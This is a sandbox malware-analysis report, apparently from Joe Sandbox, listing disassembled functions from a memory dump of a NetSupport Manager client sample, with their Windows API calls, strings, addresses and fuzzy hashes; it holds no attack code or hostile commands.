Vista new pAudioCap=%p, xrefs: 1100B4D3
\\.\NSAudioFilter, xrefs: 1100B3B0
Audio, xrefs: 1100B347
Error. Vista AddAudioCaptureEventListener ret %s, xrefs: 1100B51C
InitCaptureSounds NT6, xrefs: 1100B48E
Error. Vista AudioCapture GetInstance ret %s, xrefs: 1100B4C3
DisableSounds, xrefs: 1100B342

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$Leave$CreateEnterLibrary$AddressAllocateCloseEventExchangeFileFreeHandleHeapInterlockedLoadProc__wcstoi64_calloc_free_malloc
String ID: Audio$DisableSounds$Error. Vista AudioCapture GetInstance ret %s$Error. Vista AddAudioCaptureEventListener ret %s$InitCaptureSounds NT6$Vista AddAudioCapEvtListener(%p)$Vista new pAudioCap=%p$\\.\NSAudioFilter
API String ID: 1843377891-2362500394
Opcode ID: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction ID: 3f9b0c4355a442be161718b687c517c7c1a8a488e2b9041c50d9e3709ff29e90
Opcode Fuzzy Hash: f60393b41353c13c745924059a021ceb37060bf1a09b9967f753d73c688ee9b2
Instruction Fuzzy Hash: 8E51D9B5E0464AAFE704CF74DC80BAEF7A4FB04759F10467AE929A3240E7717550C7A1

Function 11125200 Relevance: 24.7, APIs: 8, Strings: 6, Instructions: 240comwindowCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 1112523A
SendMessageA.USER32(?,0000043C,00000000,?), ref: 11125251
CreateILockBytesOnHGlobal.OLE32(00000000,00000001,?), ref: 11125280
StgCreateDocfileOnILockBytes.OLE32(?,00001012,00000000,?), ref: 111252B6

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

OleCreateStaticFromData.OLE32(00000000,111C093C,00000002,?,?,?,?), ref: 111253C2
OleSetContainedObject.OLE32(?,00000001), ref: 111253D8
_memset.LIBCMT ref: 111253E5
CoUninitialize.OLE32 ref: 11125499

Strings

pLockBytes, xrefs: 1112529B
pRichEditOle, xrefs: 11125266
pStorage, xrefs: 111252ED
8, xrefs: 111253ED
pOleClientSite, xrefs: 1112539A
..\CTL32\RichInsert.cpp, xrefs: 11125261, 11125296, 111252E8, 11125395

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Create$BytesLockMessage$ContainedDataDocfileErrorExitFromGlobalInitializeLastObjectProcessSendStaticUninitialize_memsetwsprintf
String ID: ..\CTL32\RichInsert.cpp$8$pLockBytes$pOleClientSite$pRichEditOle$pStorage
API String ID: 1820880743-4036218486
Opcode ID: b8f593f3550aa9e0f779f3b8c62ca3ee8f9d3103c1fcafdad78b4b8c3047e15f
Instruction ID: 08d7bdd5ab5c60396c417d70c353951ed5684100983e189a7c8dd5e42ede2f0c
Opcode Fuzzy Hash: b8f593f3550aa9e0f779f3b8c62ca3ee8f9d3103c1fcafdad78b4b8c3047e15f
Instruction Fuzzy Hash: D69128B5E002599FDB54DFA8CCC4ADDF7B9FB88314F608169E519AB280EB70A941CB50

Function 1102B1D0 Relevance: 24.7, APIs: 6, Strings: 8, Instructions: 220COMMON

Download Yara Rule

APIs

Part of subcall function 11029450: GetLastError.KERNEL32(?,00000000,?), ref: 1102946C
Part of subcall function 11029450: wsprintfA.USER32 ref: 110294B7
Part of subcall function 11029450: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 110294F3
Part of subcall function 11029450: ExitProcess.KERNEL32 ref: 11029509

GetLastError.KERNEL32(?), ref: 1102B331
GetLastError.KERNEL32(?), ref: 1102B38E
_fgets.LIBCMT ref: 1102B3C0
_strtok.LIBCMT ref: 1102B3E8

Part of subcall function 11163016: __getptd.LIBCMT ref: 11163034

_fgets.LIBCMT ref: 1102B424
_strtok.LIBCMT ref: 1102B438

Strings

WARN: No TS lookup file specified!, xrefs: 1102B29D
*LookupFile, xrefs: 1102B258
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102B281, 1102B35E
LookupFileUser, xrefs: 1102B2FA
WARN: LoginUser failed (%d) user="%s", xrefs: 1102B338
WARN: clientname is empty!, xrefs: 1102B498
WARN: Could not open TS lookup file: "%s" (%d), user="%s", xrefs: 1102B3A1
IsA(), xrefs: 1102B286, 1102B363

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: ErrorLast$_fgets_strtok$ExitMessageProcess__getptdwsprintf
String ID: *LookupFile$IsA()$LookupFileUser$WARN: Could not open TS lookup file: "%s" (%d), user="%s"$WARN: LoginUser failed (%d) user="%s"$WARN: No TS lookup file specified!$WARN: clientname is empty!$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h
API String ID: 78526175-1484737611
Opcode ID: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction ID: 83a04ffa2f5f23a923324f4189043cfd8b751997b231b4d3af7dc0cd534076c2
Opcode Fuzzy Hash: ff60ef9c488c2c79b08b3262712ada230bbec0adfdbeaabbc1cb1cc15ddf1ff7
Instruction Fuzzy Hash: 2E81B675D00A1E9BDB10DBA4CC80FEEB7B9AF44309F4440D8E919A7245EA75AB84CF91

Function 11031160 Relevance: 23.0, APIs: 7, Strings: 6, Instructions: 245sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104,73B292A0,00000000,00000000,00000000), ref: 1103119A

Part of subcall function 1105DD10: __wcstoi64.LIBCMT ref: 1105DD4D

EnumWindows.USER32(110301B0,00000001), ref: 11031272
EnumWindows.USER32(110301B0,00000000), ref: 110312CC
Sleep.KERNEL32(00000014,?,?,?,?,?,00000000), ref: 110312DC
Sleep.KERNEL32(?,?,?,?,?,?,00000000), ref: 11031313

Part of subcall function 11027E50: _memset.LIBCMT ref: 11027E85
Part of subcall function 11027E50: wsprintfA.USER32 ref: 11027EBA
Part of subcall function 11027E50: WaitForSingleObject.KERNEL32(?,000000FF), ref: 11027EFF
Part of subcall function 11027E50: GetExitCodeProcess.KERNEL32(?,?), ref: 11027F13
Part of subcall function 11027E50: CloseHandle.KERNEL32(?,00000000), ref: 11027F45
Part of subcall function 11027E50: CloseHandle.KERNEL32(?), ref: 11027F4E

Sleep.KERNEL32(0000000A,?,?,?,?,?,00000000), ref: 1103132B
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 110313E7

Strings

No new explorer wnd, xrefs: 110312F3
*ExitMetroDelay, xrefs: 110311B2
Client, xrefs: 110311B7
"%sNSMExec.exe" %s, xrefs: 11031285
close new explorer wnd x%x, xrefs: 110313AF
\Explorer.exe, xrefs: 110311DA

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: SleepWindows$CloseEnumHandle$CodeDirectoryExitMessageObjectProcessSendSingleWait__wcstoi64_memsetwsprintf
String ID: "%sNSMExec.exe" %s$*ExitMetroDelay$Client$No new explorer wnd$\Explorer.exe$close new explorer wnd x%x
API String ID: 3887438110-1852639040
Opcode ID: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction ID: 68f8b224c7beedd47666692ff363fa6bc3684c9dbb57027410f782db2506f70a
Opcode Fuzzy Hash: dd4de2a7fc9d8cd5af608a89b0c8565785138ad2200bde7dfaaacefb5c936fd0
Instruction Fuzzy Hash: 3391D0B5E002299FDB14CF64DC80BEEF7F5AF89308F1441A9D9599B640EB30AE45CB91

Function 1102310A Relevance: 21.4, APIs: 10, Strings: 2, Instructions: 363windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1115ADD0: IsIconic.USER32(?), ref: 1115AE77
Part of subcall function 1115ADD0: ShowWindow.USER32(?,00000009), ref: 1115AE87
Part of subcall function 1115ADD0: BringWindowToTop.USER32(?), ref: 1115AE91

CheckMenuItem.USER32(00000000,000013EB,-00000009), ref: 1102324D
ShowWindow.USER32(?,00000003), ref: 110232D1
LoadMenuA.USER32(00000000,000013A3), ref: 110233FB
GetSubMenu.USER32(00000000,00000000), ref: 11023409
CheckMenuItem.USER32(00000000,000013EB,?), ref: 11023429
GetDlgItem.USER32(?,000013B2), ref: 1102343C
GetWindowRect.USER32(00000000), ref: 11023443
PostMessageA.USER32(?,00000111,?,00000000), ref: 11023499
DestroyMenu.USER32(?,?,00000000,00000000,00000102,?,?,?,00000000), ref: 110234A3

Strings

Chat, xrefs: 110233B0
AddToJournal, xrefs: 110233AB

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Menu$Window$Item$CheckShow$BringDestroyIconicLoadMessagePostRect
String ID: AddToJournal$Chat
API String ID: 693070851-2976406578
Opcode ID: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction ID: 337dba7d0f02a97e7c7211def3ec221287211942730252afe18814347e7ecccc
Opcode Fuzzy Hash: d2fe2766ddb3d34030bb972f012e30f748b4f8edd59272365cd546290ab4e6ab
Instruction Fuzzy Hash: 87A1F178B04616ABDB09DF74CC85FAEB3E5AB88704F504519EA26DF2C0CF74B9408B65

Function 11027270 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 136threadwindowsleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11089280: UnhookWindowsHookEx.USER32(?), ref: 110892A3

CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 110272B4

Part of subcall function 1110F420: _malloc.LIBCMT ref: 1110F439
Part of subcall function 1110F420: wsprintfA.USER32 ref: 1110F454
Part of subcall function 1110F420: _memset.LIBCMT ref: 1110F477

WaitForMultipleObjects.KERNEL32(00000002,?,00000000,000001F4), ref: 11027323
PostMessageA.USER32(0002044E,00000501,00000000,00000000), ref: 11027340
SetEvent.KERNEL32(0000025C), ref: 11027351
Sleep.KERNEL32(00000032), ref: 11027359
PostMessageA.USER32(0002044E,00000800,00000000,00000000), ref: 1102738E
GetCurrentThreadId.KERNEL32 ref: 110273BA
GetThreadDesktop.USER32(00000000), ref: 110273C1
SetThreadDesktop.USER32(00000000), ref: 110273CA
CloseDesktop.USER32(00000000), ref: 110273D5
CloseHandle.KERNEL32(000003A4), ref: 11027415

Part of subcall function 111100D0: GetCurrentThreadId.KERNEL32 ref: 11110166
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(-00000010,?,11031040,00000001,00000000), ref: 11110179
Part of subcall function 111100D0: InitializeCriticalSection.KERNEL32(111F08F0,?,11031040,00000001,00000000), ref: 11110188
Part of subcall function 111100D0: EnterCriticalSection.KERNEL32(111F08F0,?,11031040), ref: 1111019C
Part of subcall function 111100D0: CreateEventA.KERNEL32(00000000,00000000,00000000,00000000,?,11031040), ref: 111101C2

Strings

Async, xrefs: 11027298

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: Thread$CriticalDesktopEventSection$CloseCreateCurrentInitializeMessagePost$EnterHandleHookMultipleObjectsSleepUnhookWaitWindows_malloc_memsetwsprintf
String ID: Async
API String ID: 3276504616-2933828738
Opcode ID: 7f34267c0eb402a5cecabe7481cb594ff7fa9432527a27f32e6b0a7f9cc990e4
Instruction ID: b4c20aaf8d895fc577ef80b9cbd2db14a62b6b62bbca8aebe14e383436c97cb7
Opcode Fuzzy Hash: 7f34267c0eb402a5cecabe7481cb594ff7fa9432527a27f32e6b0a7f9cc990e4
Instruction Fuzzy Hash: 2641A174A056159FEB05DFF8C886BAEB7A4FB54718F804138E925DB6C4EB70B800CB51

Function 11105340 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 84fileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 1110534D
EnterCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105356
GetTickCount.KERNEL32 ref: 1110535C
GetTickCount.KERNEL32 ref: 1110538E
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 11105397
EnterCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053B8
WriteFile.KERNEL32(00000000,1118C583,?,?,00000000,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF), ref: 111053D0
LeaveCriticalSection.KERNEL32(?,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053DD
GetTickCount.KERNEL32 ref: 111053EC
LeaveCriticalSection.KERNEL32(111F060C,?,00000000,?,?,1114D6ED,?,1118C583,?,1118C583,000000FF,?,1114DAFB), ref: 111053F5

Strings

Warning. took %d ms to get simap lock, xrefs: 11105368
Warning. simap lock held for %d ms, xrefs: 111053A7, 11105405

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: CriticalSection$CountTick$Leave$Enter$FileWrite
String ID: Warning. simap lock held for %d ms$Warning. took %d ms to get simap lock
API String ID: 831250470-625438208
Opcode ID: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction ID: 510883743b079e8f18b7a04972f4ca77f6f871929db96d85a9feff413df15827
Opcode Fuzzy Hash: 7549535bd9f32612e90d0c37b89a6aa1a9d576740b26f55eee6ebfb36c9c683f
Instruction Fuzzy Hash: F521F37AE10228ABDB009F759CC89AEFBADEB8972DB551075FC15CB204D6609C04CBA0

Function 1100D200 Relevance: 19.6, APIs: 1, Strings: 12, Instructions: 50COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 1100D271

Strings

RequiresVista, xrefs: 1100D219
NotFound, xrefs: 1100D24A
CannotLoadDll, xrefs: 1100D220
NoCapClients, xrefs: 1100D243
Exception, xrefs: 1100D258, 1100D266
CannotGetFunc, xrefs: 1100D22E
BadParam, xrefs: 1100D251
DllInitFailed, xrefs: 1100D227
AlreadyStarted, xrefs: 1100D235
StillInstances, xrefs: 1100D25F
Unknown error %d, xrefs: 1100D267
AlreadyStopped, xrefs: 1100D23C

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: AlreadyStarted$AlreadyStopped$BadParam$CannotGetFunc$CannotLoadDll$DllInitFailed$Exception$NoCapClients$NotFound$RequiresVista$StillInstances$Unknown error %d
API String ID: 2111968516-2092292787
Opcode ID: 68bb8bbd715fdcfb00972525606c57017de8997db1f0824372bcab7740fe05b1
Instruction ID: d9a7d6ebd96fccb3ef7d6a30ae0c52648c54e2eaa592bb8290d406d227b44d1e
Opcode Fuzzy Hash: 68bb8bbd715fdcfb00972525606c57017de8997db1f0824372bcab7740fe05b1
Instruction Fuzzy Hash: B7F0623269520C47BA8087EC784053EF78D739217D7C88093F4ACFAF20E916DCA0A1A9

Function 11137340 Relevance: 19.3, APIs: 6, Strings: 5, Instructions: 74libraryloaderCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(00000000,74DF0BD0,00000000), ref: 11137363
GetModuleHandleA.KERNEL32(ntdll.dll), ref: 11137384
GetProcAddress.KERNEL32(00000000,VerSetConditionMask), ref: 11137394
GetModuleHandleA.KERNEL32(KERNEL32.DLL), ref: 111373B1
GetProcAddress.KERNEL32(00000000,VerifyVersionInfoA), ref: 111373BD
_memset.LIBCMT ref: 111373D7

Strings

KERNEL32.DLL, xrefs: 111373A8
VerSetConditionMask, xrefs: 1113738E
ntdll.dll, xrefs: 1113737F
Terminal Server, xrefs: 11137401
VerifyVersionInfoA, xrefs: 111373B7

Memory Dump Source

Source File: 00000001.00000002.4169819931.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000001.00000002.4169802848.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170063906.0000000011193000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170134156.00000000111E1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170156980.00000000111F0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000111F6000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001125C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.0000000011287000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001129D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112AC000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112B3000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.00000000112DE000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.4170174719.000000001132A000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_11000000_bild.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc$Version_memset
String ID: KERNEL32.DLL$Terminal Server$VerSetConditionMask$VerifyVersionInfoA$ntdll.dll
API String ID: 1659045089-3162170060
Opcode ID: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction ID: 0c0b10a14524f440857339b23279ac9494b8b75ce88d62c7832b422cfd240681
Opcode Fuzzy Hash: 2782e45080b00d7644363843fb4dac8f82773bfcd6b8b8724ba95a014df5fc97
Instruction Fuzzy Hash: CB216A70F10329ABF720AB71AD44F5AFFA99B8871AF000474E914A7189EA71B9048765

Function 110390F0 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225COMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000001), ref: 1103910C
IsWindowEnabled.USER32(00000000), ref: 11039113
_memset.LIBCMT ref: 11039131
GetDlgItemTextA.USER32(?,0000044D,?,00000080), ref: 11039183
GetDlgItemTextA.USER32(?,0000044F,00000000,00000080), ref: 110391EB
GetDlgItemTextA.USER32(?,000004BE,00000000,00000080), ref: 1103924E
GetDlgItemTextA.USER32(?,000017EC,00000000,00000080), ref: 110392B1
GetDlgItemTextA.USER32(?,0000048E,00000000,00000080), ref: 11039377
GetDlgItemTextA.USER32(?,0000048D,00000000,00000080), ref: 11039314

Part of subcall function 11142800: _strncpy.LIBCMT ref: 11142824

Part of subcall function 11142290: _strncpy.LIBCMT ref: 111422D2

Strings

, xrefs: 110393B1

Memory Dump Source

